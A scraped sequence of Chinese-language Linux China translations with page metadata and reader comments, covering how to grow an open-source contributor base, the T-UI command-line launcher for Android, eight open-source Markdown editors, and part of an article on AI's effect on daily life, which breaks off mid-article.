/data/attachment/album/201705/21/171027n9suiytd8bbell9y.jpg.thumb.jpg
|
/data/attachment/album/201705/21/171027n9suiytd8bbell9y.jpg
| true | false | true |
geekpi
| false |
[
"开源",
"贡献者"
] |
观点
|
{
"viewnum": 4822,
"commentnum": 0,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
就像任何事物都是有寿命的，增长既是开源项目成功的标志，也是开源项目成功的来源。那么项目领导者和维护者如何激励贡献者基数的增长？这里有五种方法。
| 2017-05-21T17:10:45 | 2017-05-21T17:10:45 | 8,529 |
/article-8529-1.html
|
许多自由和开源软件项目因解决问题而出现，人们开始为它们做贡献，是因为他们也想修复遇到的问题。当项目的最终用户发现它对他们的需求有用，该项目就开始增长。并且出于分享的目的把人们吸引到同一个项目社区。
就像任何事物都是有寿命的，增长既是开源项目成功的标志，也是开源项目成功的来源。那么项目领导者和维护者如何激励贡献者基数的增长？这里有五种方法。
### 1、 提供好的文档
人们经常低估项目[文档](https://opensource.com/tags/documentation)的重要性。它是项目贡献者的主要信息来源，它会激励他们努力。信息必须是正确和最新的。它应该包括如何构建该软件、如何提交补丁、编码风格指南等步骤。
查看经验丰富的科技作家、编辑 Bob Reselman 的 [7 个创建世界级文档的规则](https://opensource.com/business/16/1/scale-14x-interview-bob-reselman)。
开发人员文档的一个很好的例子是 [Python 开发人员指南](https://docs.python.org/devguide/)。它包括清晰简洁的步骤，涵盖 Python 开发的各个方面。
### 2、 降低进入门槛
如果你的项目有[工单或 bug 追踪工具](https://opensource.com/tags/bugs-and-issues)，请确保将初级任务标记为一个“小 bug” 或“起点”。新的贡献者可以很容易地通过解决这些问题进入项目。追踪工具也是标记非编程任务（如平面设计、图稿和文档改进）的地方。有许多项目成员不是每天都编码，但是却通过这种方式成为推动力。
Fedora 项目维护着一个这样的[易修复和入门级问题的追踪工具](https://fedoraproject.org/easyfix/)。
### 3、 为补丁提供常规反馈
确认每个补丁，即使它只有一行代码，并给作者反馈。提供反馈有助于吸引潜在的候选人，并指导他们熟悉项目。所有项目都应有一个邮件列表和[聊天功能](https://opensource.com/alternatives/slack)进行通信。问答可在这些媒介中发生。大多数项目不会在一夜之间成功，但那些繁荣的列表和沟通渠道为增长创造了环境。
### 4、 推广你的项目
始于解决问题的项目实际上可能对其他开发人员也有用。作为项目的主要贡献者，你的责任是为你的的项目建立文档并推广它。写博客文章，并在社交媒体上分享项目的进展。你可以从简要描述如何成为项目的贡献者开始，并在该描述中提供主要开发者文档的参考连接。此外，请务必提供有关路线图和未来版本的信息。
为了你的听众，看看由 Opensource.com 的社区经理 Rikki Endsley 写的[写作提示](https://opensource.com/business/15/10/what-stephen-king-can-teach-tech-writers)。
### 5、 保持友好
友好的对话语调和迅速的回复将加强人们对你的项目的兴趣。最初，这些问题只是为了寻求帮助，但在未来，新的贡献者也可能会提出想法或建议。让他们有信心他们可以成为项目的贡献者。
记住你一直在被人评头论足！人们会观察项目开发者是如何在邮件列表或聊天上交谈。这些意味着对新贡献者的欢迎和开放程度。当使用技术时，我们有时会忘记人文关怀，但这对于任何项目的生态系统都很重要。考虑一个情况，项目是很好的，但项目维护者不是很受欢迎。这样的管理员可能会驱使用户远离项目。对于有大量用户基数的项目而言，不被支持的环境可能导致分裂，一部分用户可能决定复刻项目并启动新项目。在开源世界中有这样的先例。
另外，拥有不同背景的人对于开源项目的持续增长和源源不断的点子是很重要的。
最后，项目负责人有责任维持和帮助项目成长。指导新的贡献者是项目的关键，他们将成为项目和社区未来的领导者。
阅读：由红帽的内容战略家 Nicole Engard 写的 [7 种让新的贡献者感到受欢迎的方式](https://opensource.com/life/16/5/sumana-harihareswara-maria-naggaga-oscon)。
---
作者简介：
Kushal Das - Kushal Das 是 Python 软件基金会的一名 CPython 核心开发人员和主管。他是一名长期的 FOSS 贡献者和导师，他帮助新人进入贡献世界。他目前在 Red Hat 担任 Fedora 云工程师。他的博客在 <https://kushaldas.in> 。你也可以在 Twitter @kushaldas 上找到他
---
via: <https://opensource.com/article/17/1/expand-project-contributor-base>
作者：[Kushal Das](https://opensource.com/users/kushaldas) 译者：[geekpi](https://github.com/geekpi) 校对：[Bestony](https://github.com/bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Linux 极客的 Android：将你的 Android 设备变成 Linux 命令行界面
|
Aaron Kili
|
https://www.tecmint.com/t-ui-launcher-turns-android-device-into-linux-cli/
|
不管你是一位命令行大师，还是只是不想让你的朋友和家人使用你的 Android 设备，那就看下 T-UI Launcher 这个程序。Unix/Linux 用户一定会喜欢这个。
|
/data/attachment/album/201705/22/164759ciyitpt3p9jpi39q.jpg.thumb.jpg
|
/data/attachment/album/201705/22/164759ciyitpt3p9jpi39q.jpg
| true | false | true |
geekpi
| false |
[
"Android"
] |
技术
|
{
"viewnum": 19028,
"commentnum": 6,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "218.88.46.39",
"message": "加个命令行就极客了？话说手机用命令行很不好用，最好买个蓝牙键盘。",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-22T18:38:41"
},
{
"postip": "124.234.223.169",
"message": "还以为要介绍 Termux...",
"username": "来自吉林长春的 Chrome 58.0|Windows 10 用户",
"date": "2017-05-22T22:48:05"
},
{
"postip": "123.126.142.217",
"message": "不能替代原来的Launcher，按Home键的时候会返回原来的桌面，达不到防止别人用手机的目的",
"username": "来自北京的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-23T10:13:39"
},
{
"postip": "111.161.254.54",
"message": "看来Linux是发展趋势呀",
"username": "walykyy [Chrome 58.0|Windows 7]",
"date": "2017-05-23T10:42:15"
},
{
"postip": "210.30.100.2",
"message": "所以可以把它设置成默认launcher，不就可以了吗？",
"username": "来自辽宁大连大连理工大学的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-24T10:54:14"
},
{
"postip": "1.86.245.157",
"message": "666",
"username": "Shadow-華 [Chrome 58.0|Windows 7]",
"date": "2017-05-25T22:04:22"
}
] |
[] |
不管你是一位命令行大师，还是只是不想让你的朋友和家人使用你的 Android 设备，那就看下 T-UI Launcher 这个程序。Unix/Linux 用户一定会喜欢这个。
| 2017-05-22T16:48:04 | 2017-05-22T16:48:04 | 8,530 |
/article-8530-1.html
|
不管你是一位命令行大师，还是只是不想让你的朋友和家人使用你的 Android 设备，那就看下 T-UI Launcher 这个程序。Unix/Linux 用户一定会喜欢这个。
T-UI Launcher 是一个免费的轻量级 Android 程序，具有类似 Linux 的命令行界面，它可将你的普通 Android 设备变成一个完整的命令行界面。对于喜欢使用基于文本的界面的人来说，这是一个简单、快速、智能的启动器。
#### T-UI Launcher 功能
下面是一些重要的功能：
* 第一次启动后展示快速使用指南。
* 快速且可完全定制。
* 提供自动补全菜单及快速、强大的别名系统。
* 此外，提供预测建议，并提供有用的搜索功能。
它是免费的，你可以从 Google Play 商店[下载并安装它](https://play.google.com/store/apps/details?id=ohi.andre.consolelauncher)，接着在 Android 设备中运行。
安装完成后，第一次启动时你会看到一个快速指南。阅读完成之后，你可以如下面那样使用简单的命令开始使用了。
*T-UI 命令行帮助指南*
要启动一个 app，只要输入几个字母，自动补全功能会在屏幕中展示可用的 app。接着点击你想打开的程序。
```
$ Telegram ### 启动 telegram
$ WhatsApp ### 启动 whatsapp
$ Chrome ### 启动 chrome
```
*T-UI 命令行使用*
要浏览你的 Android 设备状态（电池电量、wifi、移动数据），输入：
```
$ status
```
*Android 电话状态*
其它的有用命令。
```
$ uninstall telegram ### 卸载 telegram
$ search [google, playstore, youtube, files] ### 搜索在线应用或本地文件
$ wifi ### 打开或关闭 WIFI
$ cp Downloads/* Music ### 从 Download 文件夹复制所有文件到 Music 文件夹
$ mv Downloads/* Music ### 从 Download 文件夹移动所有文件到 Music 文件夹
```
就是这样了！在本篇中，我们展示了一个带有类似 Linux CLI（命令界面）的简单而有用的 Android 程序，它可以将你的常规 Android 设备变成一个完整的命令行界面。尝试一下并在下面的评论栏分享你的想法。
---
作者简介：
Aaron Kili 是 Linux 和 F.O.S.S 爱好者，将来的 Linux 系统管理员和网络开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并坚信分享知识。
---
via: <https://www.tecmint.com/t-ui-launcher-turns-android-device-into-linux-cli/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
8 个优秀的开源 Markdown 编辑器
|
Steve Emms
|
https://www.ossblog.org/markdown-editors/
|
你可以使用任何文本编辑器来写 Markdown 文件。但我建议使用一个专门为这种语法设计的编辑器。这篇文章中所讨论的软件允许你使用 Markdown 语法来写各种格式的专业文档，包括博客文章、演示文稿、报告、电子邮件以及幻灯片等。
|
/data/attachment/album/201705/22/222538h6mg27etqq6e76ie.jpg.thumb.jpg
|
/data/attachment/album/201705/22/222538h6mg27etqq6e76ie.jpg
| true | false | true |
ucasFL
| false |
[
"markdown"
] |
分享
|
{
"viewnum": 34677,
"commentnum": 6,
"favtimes": 4,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "123.163.16.215",
"message": "Typora",
"username": "来自河南洛阳的 Chrome 58.0|Windows 10 用户",
"date": "2017-05-25T13:33:40"
},
{
"postip": "112.119.210.134",
"message": "还是喜欢Typora",
"username": "来自香港的 Chrome 58.0|Windows 10 用户",
"date": "2017-05-25T18:48:13"
},
{
"postip": "218.197.152.154",
"message": "Typora老感觉插入表格有问题，自己手动插第一行经常出问题或者插不进来，直接右键菜单插会多出一行",
"username": "来自湖北武汉武汉大学的 Mobile Safari 5.0|iOS 4.3 用户",
"date": "2017-05-27T00:14:56"
},
{
"postip": "117.139.208.10",
"message": "居然没有typora!!!",
"username": "来自四川成都的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-05-27T16:06:48"
},
{
"postip": "121.195.114.9",
"message": "注意标题中的开源",
"username": "来自121.195.114.9的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-27T16:20:59"
},
{
"postip": "222.128.104.247",
"message": "Typora并非开源软件",
"username": "来自北京的 Firefox 76.0|Windows 10 用户",
"date": "2020-06-09T15:24:39"
}
] |
[] |
你可以使用任何文本编辑器来写 Markdown 文件。但我建议使用一个专门为这种语法设计的编辑器。这篇文章中所讨论的软件允许你使用 Markdown 语法来写各种格式的专业文档，包括博客文章、演示文稿、报告、电子邮件以及幻灯片等。
| 2017-05-22T22:26:00 | 2017-05-22T22:26:00 | 8,531 |
/article-8531-1.html
|
### Markdown
首先，对 Markdown 进行一个简单的介绍。Markdown 是由 John Gruber 和 Aaron Swartz 共同创建的一种轻量级纯文本格式语法。Markdown 可以让用户“以易读、易写的纯文本格式来进行写作，然后可以将其转换为有效格式的 XHTML（或 HTML）“。Markdown 语法只包含一些非常容易记住的符号。其学习曲线平缓；你可以在炒蘑菇的同时一点点学习 Markdown 语法（大约 10 分钟）。通过使用尽可能简单的语法，错误率达到了最小化。除了拥有友好的语法，它还具有直接输出干净、有效的（X）HTML 文件的强大功能。如果你看过我的 HTML 文件，你就会知道这个功能是多么的重要。
Markdown 格式语法的主要目标是实现最大的可读性。用户能够以纯文本的形式发布一份 Markdown 格式的文件。用 Markdown 进行文本写作的一个优点是易于在计算机、智能手机和个人之间共享。几乎所有的内容管理系统都支持 Markdown 。它作为一种网络写作格式流行起来，其产生一些被许多服务采用的变种，比如 GitHub 和 Stack Exchange 。
你可以使用任何文本编辑器来写 Markdown 文件。但我建议使用一个专门为这种语法设计的编辑器。这篇文章中所讨论的软件允许你使用 Markdown 语法来写各种格式的专业文档，包括博客文章、演示文稿、报告、电子邮件以及幻灯片等。另外，所有的应用都是在开源许可证下发布的，在 Linux、OS X 和 Windows 操作系统下均可用。
### Remarkable
让我们从 Remarkable 开始。Remarkable 是一个 apt 软件包的名字，它是一个相当有特色的 Markdown 编辑器 — 它并不支持 Markdown 的全部功能特性，但该有的功能特性都有。它使用和 GitHub Markdown 类似的语法。
你可以使用 Remarkable 来写 Markdown 文档，并在实时预览窗口查看更改。你可以把你的文件导出为 PDF 格式（带有目录）和 HTML 格式文件。它有强大的配置选项，从而具有许多样式，因此，你可以把它配置成你最满意的 Markdown 编辑器。
其他一些特性：
* 语法高亮
* 支持 [GitHub 风味的 Markdown](/article-8399-1.html)
* 支持 MathJax - 通过高级格式呈现丰富文档
* 键盘快捷键
在 Debian、Ubuntu、Fedora、SUSE 和 Arch 系统上均有 Remarkable 的可用的简易安装程序。
主页： <https://remarkableapp.github.io/> 许可证： MIT 许可
### Atom
毫无疑问， Atom 是一个神话般的文本编辑器。超过 50 个开源包集合在一个微小的内核上，从而构成 Atom 。伴有 Node.js 的支持，以及全套功能特性，Atom 是我最喜欢用来写代码的编辑器。Atom 的特性在[杀手级开源应用](https://www.ossblog.org/top-software/2/)的文章中有更详细介绍，它是如此的强大。但是作为一个 Markdown 编辑器，Atom 还有许多不足之处，它的默认包不支持 Markdown 的特性。例如，正如上图所展示的，它不支持等价渲染。
但是，开源拥有强大的力量，这是我强烈提倡开源的一个重要原因。Atom 上有许多包以及一些复刻，从而添加了缺失的功能特性。比如，Markdown Preview Plus 提供了 Markdown 文件的实时预览，并伴有数学公式渲染和实时重加载。另外，你也可以尝试一下 [Markdown Preview Enhanced](https://atom.io/packages/markdown-preview-enhanced)。如果你需要自动滚动特性，那么 [markdown-scroll-sync](https://atom.io/packages/markdown-scroll-sync) 可以满足你的需求。我是 [Markdown-Writer](https://atom.io/packages/markdown-writer)和 [Markdown-pdf](https://atom.io/packages/markdown-pdf)的忠实拥趸，后者支持将 Markdown 快速转换为 PDF、PNG 以及 JPEG 文件。
这个方式体现了开源的理念：允许用户通过添加扩展来提供所需的特性。这让我想起了 Woolworths 的 n 种杂拌糖果的故事。虽然需要多付出一些努力，但能收获最好的回报。
主页： <https://atom.io/> 许可证： MIT 许可
### Haroopad
Haroopad 是一个优秀的 Markdown 编辑器，是一个用于创建适宜 Web 的文档的处理器。使用 Haroopad 可以创作各种格式的文档，比如博客文章、幻灯片、演示文稿、报告和电子邮件等。Haroopad 在 Windows、Mac OS X 和 Linux 上均可用。它有 Debian/Ubuntu 的软件包，也有 Windows 和 Mac 的二进制文件。该应用程序使用 node-webkit、CodeMirror，marked，以及 Twitter 的 Bootstrap 。
Haroo 在韩语中的意思是“一天”。
它的功能列表非常可观。请看下面：
* 主题、皮肤和 UI 组件
+ 超过 30 种不同的编辑主题 - tomorrow-night-bright 和 zenburn 是近期刚添加的
+ 编辑器中的代码块的语法高亮
+ Ruby、Python、PHP、Javascript、C、HTML 和 CSS 的语法高亮支持
+ 基于 CodeMirror，这是一个在浏览器中使用 JavaScript 实现的通用文本编辑器
* 实时预览主题
+ 基于 markdown-css 的 7 个主题
* 语法高亮
+ 基于 hightlight.js 的 112 种语言以及 49 种样式
* 定制主题
+ 基于 CSS （层叠样式表）的样式
* 演示模式 - 对于现场演示非常有用
* 绘图 - 流程图和序列图
* 任务列表
* 扩展 Markdown 语法，支持 TOC（目录）、 GitHub 风味 Markdown 以及数学表达式、脚注和任务列表等
* 字体大小
+ 使用首选窗口和快捷键来设置编辑器和预览字体大小
* 嵌入富媒体内容
+ 视频、音频、3D、文本、开放图形以及 oEmbed
+ 支持大约 100 种主要的网络服务（YouTude、SoundCloud、Flickr 等）
+ 支持拖放
* 显示模式
+ 默认：编辑器｜预览器，倒置：预览器｜编辑器，仅编辑器，仅预览器（View -> Mode）
* 插入当前日期和时间
+ 多种格式支持（Insert -> Data & Time）
* HtML 到 Markdown
+ 拖放你在 Web 浏览器中选择好的文本
* Markdown 解析选项
* 大纲预览
* 纯粹主义者的 Vim 键位绑定
* Markdown 自动补全
* 导出为 PDF 和 HTML
* 带有样式的 HTML 复制到剪切板可用于所见即所得编辑器
* 自动保存和恢复
* 文件状态信息
* 换行符或空格缩进
* （一、二、三）列布局视图
* Markdown 语法帮助对话框
* 导入和导出设置
* 通过 MathJax 支持 LaTex 数学表达式
* 导出文件为 HTML 和 PDF
* 创建扩展来构建自己的功能
* 高效地将文件转换进博客系统：WordPress、Evernote 和 Tumblr 等
* 全屏模式－尽管该模式不能隐藏顶部菜单栏和顶部工具栏
* 国际化支持：英文、韩文、西班牙文、简体中文、德文、越南文、俄文、希腊文、葡萄牙文、日文、意大利文、印度尼西亚文土耳其文和法文
主页 <http://pad.haroopress.com/> 许可证： GNU GPL v3 许可
### StackEdit
StackEdit 是一个功能齐全的 Markdown 编辑器，基于 PageDown（该 Markdown 库被 Stack Overflow 和其他一些 Stack 交流网站使用）。不同于在这个列表中的其他编辑器，StackEdit 是一个基于 Web 的编辑器。在 Chrome 浏览器上即可使用 StackEdit 。
特性包括：
* 实时预览 HTML，并通过绑定滚动连接特性来将编辑器和预览的滚动条相绑定
* 支持 Markdown Extra 和 GitHub 风味 Markdown，Prettify/Highlight.js 语法高亮
* 通过 MathJax 支持 LaTex 数学表达式
* 所见即所得的控制按键
* 布局配置
* 不同风格的主题支持
* la carte 扩展
* 离线编辑
* 可以与 Google 云端硬盘（多帐户）和 Dropbox 在线同步
* 一键发布到 Blogger、Dropbox、Gist、GitHub、Google Drive、SSH 服务器、Tumblr 和 WordPress
主页： <https://stackedit.io/> 许可证： Apache 许可
### MacDown
MacDown 是在这个列表中唯一一个只运行在 macOS 上的全特性编辑器。具体来说，它需要在 OX S 10.8 或更高的版本上才能使用。它在内部使用 Hoedown 将 Markdown 渲染成 HTML，这使得它的特性更加强大。Heodown 是 Sundown 的一个复活复刻。它完全符合标准，无依赖，具有良好的扩展支持和 UTF-8 感知。
MacDown 基于 Mou，这是专为 Web 开发人员设计的专用解决方案。
它提供了良好的 Markdown 渲染，通过 Prism 提供的语言识别渲染实现代码块级的语法高亮，MathML 和 LaTex 渲染，GTM 任务列表，Jekyll 前端以及可选的高级自动补全。更重要的是，它占用资源很少。想在 OS X 上写 Markdown？MacDown 是我针对 Web 开发者的开源推荐。
主页： <https://macdown.uranusjr.com/> 许可证： MIT 许可
### ghostwriter
ghostwriter 是一个跨平台的、具有美感的、无干扰的 Markdown 编辑器。它内建了 Sundown 处理器支持，还可以自动检测 pandoc、MultiMarkdown、Discount 和 cmark 处理器。它试图成为一个朴实的编辑器。
ghostwriter 有许多很好的功能设置，包括语法高亮、全屏模式、聚焦模式、主题、通过 Hunspell 进行拼写检查、实时字数统计、实时 HTML 预览、HTML 预览自定义 CSS 样式表、图片拖放支持以及国际化支持。Hemingway 模式按钮可以禁用退格键和删除键。一个新的 “Markdown cheat sheet” HUD 窗口是一个有用的新增功能。主题支持很基本，但在 [GitHub 仓库上](https://github.com/jggouvea/ghostwriter-themes)也有一些可用的试验性主题。
ghostwriter 的功能有限。我越来越欣赏这个应用的通用性，部分原因是其简洁的界面能够让写作者完全集中在策划内容上。这一应用非常值得推荐。
ghostwirter 在 Linux 和 Windows 系统上均可用。在 Windows 系统上还有一个便携式的版本可用。
主页： <https://github.com/wereturtle/ghostwriter> 许可证： GNU GPL v3 许可
### Abricotine
Abricotine 是一个为桌面构建的、旨在跨平台且开源的 Markdown 编辑器。它在 Linux、OS X 和 Windows 上均可用。
该应用支持 Markdown 语法以及一些 GitHub 风味的 Markdown 增强（比如表格）。它允许用户直接在文本编辑器中预览文档，而不是在侧窗栏。
该应用有一系列有用的特性，包括拼写检查、以 HTML 格式保存文件或把富文本复制粘贴到邮件客户端。你也可以在侧窗中显示文档目录，展示语法高亮代码、以及助手、锚点和隐藏字符等。它目前正处于早期的开发阶段，因此还有一些很基本的 bug 需要修复，但它值得关注。它有两个主题可用，如果有能力，你也可以添加你自己的主题。
主页： <http://abricotine.brrd.fr/> 许可证： GNU 通用公共许可证 v3 或更高许可
### ReText
ReText 是一个简单而强大的 Markdown 和 reStructureText 文本编辑器。用户可以控制所有输出的格式。它编辑的文件是纯文本文件，但可以导出为 PDF、HTML 和其他格式的文件。ReText 官方仅支持 Linux 系统。
特性包括：
* 全屏模式
* 实时预览
* 同步滚动（针对 Markdown）
* 支持数学公式
* 拼写检查
* 分页符
* 导出为 HTML、ODT 和 PDF 格式
* 使用其他标记语言
主页： <https://github.com/retext-project/retext> 许可证： GNU GPL v2 或更高许可
---
via: <https://www.ossblog.org/markdown-editors/>
作者：[Steve Emms](https://www.ossblog.org/author/steve/) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
人工智能正快速入侵我们生活的五个方面
|
Rikki Endsley
|
https://opensource.com/article/17/3/5-big-ways-ai-rapidly-invading-our-lives
|
开源项目正在助推人工智能（AI）进步，而且随着技术的成熟，我们将听到更多关于 AI 如何影响我们生活的消息。你有没有考虑过 AI 是如何改变你周围的世界的？让我们来看看我们日益被我们所改变的世界，以及大胆预测一下 AI 对未来影响。
|
/data/attachment/album/201705/23/033703tnmglbu6l8dm9bl8.png.thumb.jpg
|
/data/attachment/album/201705/23/033703tnmglbu6l8dm9bl8.png
| true | false | true |
zhousiyu325
| false |
[
"人工智能",
"AI"
] |
观点
|
{
"viewnum": 5791,
"commentnum": 1,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "115.238.95.194",
"message": "别什么都往 AI 上靠好不好",
"username": "erasin [Chrome 59.0|Mac 10.12]",
"date": "2017-07-25T09:37:51"
}
] |
[] |
开源项目正在助推人工智能（AI）进步，而且随着技术的成熟，我们将听到更多关于 AI 如何影响我们生活的消息。你有没有考虑过 AI 是如何改变你周围的世界的？让我们来看看我们日益被我们所改变的世界，以及大胆预测一下 AI 对未来影响。
| 2017-05-23T09:35:00 | 2017-05-23T09:35:00 | 8,533 |
/article-8533-1.html
|
>
> 让我们来看看我们已经被人工智能包围的五个真实存在的方面。
>
>
>
开源项目[正在助推](https://www.linux.com/news/open-source-projects-are-transforming-machine-learning-and-ai)人工智能（AI）进步，而且随着技术的成熟，我们将听到更多关于 AI 如何影响我们生活的消息。你有没有考虑过 AI 是如何改变你周围的世界的？让我们来看看我们日益被我们所改变的世界，以及大胆预测一下 AI 对未来影响。
### 1. AI 影响你的购买决定
最近 [VentureBeat](https://twitter.com/venturebeat) 上的一篇文章，[“AI 将如何帮助我们解读千禧一代”](http://venturebeat.com/2017/03/16/how-ai-will-help-us-decipher-millennials/)吸引了我的注意。我承认我对人工智能没有思考太多，也没有费力尝试解读千禧一代，所以我很好奇，希望了解更多。事实证明，文章标题有点误导人，“如何卖东西给千禧一代”或许会是一个更准确的标题。
根据这篇文章，千禧一代是“一个令人垂涎的年龄阶段的人群，全世界的市场经理都在争抢他们”。通过分析网络行为 —— 无论是购物、社交媒体或其他活动 - 机器学习可以帮助预测行为模式，这将可以变成有针对性的广告。文章接着解释如何对物联网和社交媒体平台进行挖掘形成数据点。“使用机器学习挖掘社交媒体数据，可以让公司了解千禧一代如何谈论其产品，他们对一个产品类别的看法，他们对竞争对手的广告活动如何响应，还可获得很多数据，用于设计有针对性的广告，"这篇文章解释说。AI 和千禧一代成为营销的未来并不是什么很令人吃惊的事，但是 X 一代和婴儿潮一代，你们也逃不掉呢！（LCTT 译注：X 一代指出生于 20 世纪 60 年代中期至 70 年代末的美国人，婴儿潮是指二战结束后，1946 年初至 1964 年底出生的人）
>
> 人工智能根据行为变化，将包括城市人在内的整个人群设为目标群体。
>
>
>
例如， [Raconteur 上](https://twitter.com/raconteur)的一篇文章 —— “AI 将怎样改变购买者的行为”中解释说，AI 在网上零售行业最大的力量是它能够迅速适应客户行为不断变化的形势。人工智能创业公司 [Fluid AI](http://www.fluid.ai/) 首席执行官 Abhinav Aggarwal 表示，他公司的软件被一个客户用来预测顾客行为，有一次系统注意到在暴风雪期间发生了一个变化。“那些通常会忽略在一天中发送的电子邮件或应用内通知的用户现在正在打开它们，因为他们在家里没有太多的事情可做。一个小时之内，AI 系统就适应了新的情况，并在工作时间开始发送更多的促销材料。”他解释说。
AI 正在改变我们怎样花钱和为什么花钱，但是 AI 是怎样改变我们挣钱的方式的呢？
### 2. 人工智能正在改变我们如何工作
[Fast 公司](https://opensource.com/article/17/3/5-big-ways-ai-rapidly-invading-our-lives)最近的一篇文章“2017 年人工智能将如何改变我们的生活”中说道，求职者将会从人工智能中受益。作者解释说，除更新薪酬趋势之外，人工智能将被用来给求职者发送相关职位空缺信息。当你应该升职的时候，你很可能会得到一个升职的机会。
人工智能也可以被公司用来帮助新入职的员工。文章解释说：“许多新员工在刚入职的几天内会获得大量信息，其中大部分都留不下来。” 相反，机器人可能会随着时间的推移，当新员工需要相关信息时，再向他一点点“告知信息”。
[Inc.](https://twitter.com/Inc) 有一篇文章[“没有偏见的企业：人工智能将如何重塑招聘机制”](http://www.inc.com/bill-carmody/businesses-beyond-bias-how-ai-will-reshape-hiring-practices.html)，观察了人才管理解决方案提供商 [SAP SuccessFactors](https://www.successfactors.com/en_us.html) 是怎样利用人工智能作为一个工作描述“偏见检查器”，以及检查员工赔偿金的偏见。
[《Deloitte 2017 人力资本趋势报告》](https://dupress.deloitte.com/dup-us-en/focus/human-capital-trends.html?id=us:2el:3pr:dup3575:awa:cons:022817:hct17)显示，AI 正在激励组织进行重组。Fast 公司的文章[“AI 是怎样改变公司组织的方式”](https://www.fastcompany.com/3068492/how-ai-is-changing-the-way-companies-are-organized)审查了这篇报告，该报告是基于全球 10,000 多名人力资源和商业领袖的调查结果。这篇文章解释说："许多公司现在更注重文化和环境的适应性，而不是聘请最有资格的人来做某个具体任务，因为知道个人角色必须随 AI 的实施而发展。" 为了适应不断变化的技术，组织也从自上而下的结构转向多学科团队，文章说。
### 3. AI 正在改变教育
>
> AI 将使所有教育生态系统的利益相关者受益。
>
>
>
尽管教育预算正在缩减，但是教室的规模却正在增长。因此利用技术的进步有助于提高教育体系的生产率和效率，并在提高教育质量和负担能力方面发挥作用。根据 VentureBeat 上的一篇文章[“2017 年人工智能将怎样改变教育”](http://venturebeat.com/2017/02/04/how-ai-will-transform-education-in-2017/)，今年我们将看到 AI 对学生们的书面答案进行评分，机器人回答学生的问题，虚拟个人助理辅导学生等等。文章解释说：“AI 将惠及教育生态系统的所有利益相关者。学生将能够通过即时的反馈和指导学习地更好，教师将获得丰富的学习分析和对个性化教学的见解，父母将以更低的成本看到他们的孩子的更好的职业前景，学校能够规模化优质的教育，政府能够向所有人提供可负担得起的教育。"
### 4. 人工智能正在重塑医疗保健
2017 年 2 月 [CB Insights](https://twitter.com/CBinsights) 的一篇文章挑选了 106 个医疗保健领域的人工智能初创公司，它们中的很多在过去几年中提高了第一次股权融资。这篇文章说：“在 24 家成像和诊断公司中，19 家公司自 2015 年 1 月起就首次公开募股。”这份名单上有那些从事于远程病人监测，药物发现和肿瘤学方面人工智能的公司。”
3 月 16 日发表在 TechCrunch 上的一篇关于 AI 进步如何重塑医疗保健的文章解释说：“一旦对人类的 DNA 有了更好的理解，就有机会更进一步，并能根据他们特殊的生活习性为他们提供个性化的见解。这种趋势预示着‘个性化遗传学’的新纪元，人们能够通过获得关于自己身体的前所未有的信息来充分控制自己的健康。”
本文接着解释说，AI 和机器学习降低了研发新药的成本和时间。部分得益于广泛的测试，新药进入市场需要 12 年以上的时间。这篇文章说：“机器学习算法可以让计算机根据先前处理的数据来‘学习’如何做出预测，或者选择（在某些情况下，甚至是产品）需要做什么实验。类似的算法还可用于预测特定化合物对人体的副作用，这样可以加快审批速度。”这篇文章指出，2015 年旧金山的一个创业公司 [Atomwise](http://www.atomwise.com/) 一天内完成了可以减少埃博拉感染的两种新药物的分析，而不是花费数年时间。
>
> AI 正在帮助发现、诊断和治疗新疾病。
>
>
>
另外一个位于伦敦的初创公司 [BenevolentAI](https://twitter.com/benevolent_ai) 正在利用人工智能寻找科学文献中的模式。这篇文章说：“最近，这家公司找到了两种可能对 Alzheimer 起作用的化合物，引起了很多制药公司的关注。"
除了有助于研发新药，AI 正在帮助发现、诊断和治疗新疾病。TechCrunch 上的文章解释说，过去是根据显示的症状诊断疾病，但是现在 AI 正在被用于检测血液中的疾病特征，并利用对数十亿例临床病例分析进行深度学习获得经验来制定治疗计划。这篇文章说：“IBM 的 Watson 正在与纽约的 Memorial Sloan Kettering 合作，消化理解数十年来关于癌症患者和治疗方面的数据，为了向治疗疑难的癌症病例的医生提供和建议治疗方案。”
### 5. AI 正在改变我们的爱情生活
有 195 个国家的超过 5000 万活跃用户通过一个在 2012 年推出的约会应用程序 [Tinder](https://twitter.com/Tinder) 找到潜在的伴侣。在一个 [Forbes 采访播客](https://www.forbes.com/podcasts/the-forbes-interview/#5e962e5624e1)中，Tinder 的创始人兼董事长 Sean Rad spoke 与 Steven Bertoni 对人工智能是如何正在改变人们约会进行过讨论。在[关于此次采访的文章](https://www.forbes.com/sites/stevenbertoni/2017/02/14/tinders-sean-rad-on-how-technology-and-artificial-intelligence-will-change-dating/#4180fc2e5b99)中，Bertoni 引用了 Rad 说的话，他说：“可能有这样一个时刻，Tinder 可以很好的推测你会感兴趣的人，在组织约会中还可能会做很多跑腿的工作”，所以，这个 app 会向用户推荐一些附近的同伴，并更进一步，协调彼此的时间安排一次约会，而不只是向用户显示一些有可能的同伴。
>
> 我们的后代真的可能会爱上人工智能。
>
>
>
你爱上了 AI 吗？我们的后代真的可能会爱上人工智能。Raya Bidshahri 发表在 [Singularity Hub](https://twitter.com/singularityhub) 的一篇文章“AI 将如何重新定义爱情”说，几十年的后，我们可能会认为爱情不再受生物学的限制。
